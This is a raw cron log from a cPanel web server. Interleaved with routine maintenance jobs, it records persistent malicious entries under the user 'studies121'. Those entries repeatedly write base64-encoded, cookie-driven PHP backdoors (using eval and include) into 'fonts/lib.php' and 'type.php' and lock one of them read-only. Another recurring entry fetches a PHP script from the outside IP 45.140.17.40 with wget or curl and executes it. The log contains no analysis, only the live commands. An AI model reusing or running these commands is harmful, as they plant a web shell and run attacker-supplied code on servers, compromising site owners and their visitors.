Sep 13 00:39:01 ip-184-168-122-23 CROND[18162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:40:01 ip-184-168-122-23 CROND[18344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:40:01 ip-184-168-122-23 CROND[18343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:40:01 ip-184-168-122-23 CROND[18348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:40:01 ip-184-168-122-23 CROND[18347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:40:01 ip-184-168-122-23 CROND[18349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:40:01 ip-184-168-122-23 CROND[18350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:40:01 ip-184-168-122-23 CROND[18351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:40:01 ip-184-168-122-23 CROND[18346]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:41:01 ip-184-168-122-23 CROND[18447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:41:01 ip-184-168-122-23 CROND[18448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:41:01 ip-184-168-122-23 CROND[18449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:41:01 ip-184-168-122-23 CROND[18451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:42:01 ip-184-168-122-23 CROND[18531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:42:01 ip-184-168-122-23 CROND[18533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:42:01 ip-184-168-122-23 CROND[18536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:42:01 ip-184-168-122-23 CROND[18535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:42:01 ip-184-168-122-23 CROND[18534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:43:01 ip-184-168-122-23 CROND[18629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:43:01 ip-184-168-122-23 CROND[18630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:43:01 ip-184-168-122-23 CROND[18631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:43:01 ip-184-168-122-23 CROND[18632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:44:01 ip-184-168-122-23 CROND[18829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:44:01 ip-184-168-122-23 CROND[18831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:44:01 ip-184-168-122-23 CROND[18834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:44:01 ip-184-168-122-23 CROND[18835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:44:01 ip-184-168-122-23 CROND[18837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:45:01 ip-184-168-122-23 CROND[19023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:45:01 ip-184-168-122-23 CROND[19025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:45:01 ip-184-168-122-23 CROND[19029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:45:01 ip-184-168-122-23 CROND[19026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:45:01 ip-184-168-122-23 CROND[19024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:45:01 ip-184-168-122-23 CROND[19028]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 13 00:45:01 ip-184-168-122-23 CROND[19030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:46:01 ip-184-168-122-23 CROND[19125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:46:01 ip-184-168-122-23 CROND[19127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:46:01 ip-184-168-122-23 CROND[19130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:46:01 ip-184-168-122-23 CROND[19131]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 00:46:01 ip-184-168-122-23 CROND[19133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:46:01 ip-184-168-122-23 CROND[19128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:46:01 ip-184-168-122-23 CROND[19132]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 13 00:47:01 ip-184-168-122-23 CROND[19219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:47:01 ip-184-168-122-23 CROND[19221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:47:01 ip-184-168-122-23 CROND[19222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:47:01 ip-184-168-122-23 CROND[19224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:48:01 ip-184-168-122-23 CROND[19308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:48:01 ip-184-168-122-23 CROND[19309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:48:01 ip-184-168-122-23 CROND[19314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:48:01 ip-184-168-122-23 CROND[19312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:48:01 ip-184-168-122-23 CROND[19313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:49:01 ip-184-168-122-23 CROND[19403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:49:01 ip-184-168-122-23 CROND[19406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:49:01 ip-184-168-122-23 CROND[19407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:49:01 ip-184-168-122-23 CROND[19410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:50:01 ip-184-168-122-23 CROND[19589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:50:01 ip-184-168-122-23 CROND[19590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:50:01 ip-184-168-122-23 CROND[19595]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 00:50:01 ip-184-168-122-23 CROND[19596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:50:01 ip-184-168-122-23 CROND[19593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:50:01 ip-184-168-122-23 CROND[19597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:50:01 ip-184-168-122-23 CROND[19598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:50:01 ip-184-168-122-23 CROND[19599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:50:01 ip-184-168-122-23 CROND[19600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:51:01 ip-184-168-122-23 CROND[19711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:51:01 ip-184-168-122-23 CROND[19714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
